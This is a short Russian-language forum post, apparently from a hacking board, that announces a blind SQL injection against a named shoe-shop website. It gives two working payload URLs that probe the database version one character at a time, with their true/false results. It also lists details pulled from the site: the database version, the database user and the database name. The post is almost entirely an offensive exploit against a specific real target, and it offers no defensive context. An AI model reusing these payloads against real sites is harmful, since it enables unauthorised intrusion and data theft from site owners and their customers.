
01.05.2009, 19:34
|
|
Участник форума
Регистрация: 27.10.2008
Сообщений: 215
С нами:
9230381
Репутация:
90
|
|
Blind SQL-inj
Target: www.strut.bm
Evil links:
http://www.strut.bm/products.php?page=1&categoryID=16+and+ascii(lower( substring(version(),1,1)))=52 result: false
http://www.strut.bm/products.php?page=1&categoryID=16+and+ascii(lower( substring(version(),1,1)))=53 result: true
и т.д.
Info:
version: 5.1.30
user: strutbm@localhost
database: strutbm_shoestore
|
|
|